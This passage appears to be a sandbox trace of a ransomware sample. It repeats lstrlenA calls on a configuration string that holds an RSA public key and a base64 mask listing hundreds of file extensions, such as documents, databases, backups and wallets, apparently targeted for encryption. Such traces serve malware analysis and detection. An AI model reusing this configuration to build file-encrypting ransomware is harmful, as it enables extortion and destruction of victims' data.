J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCA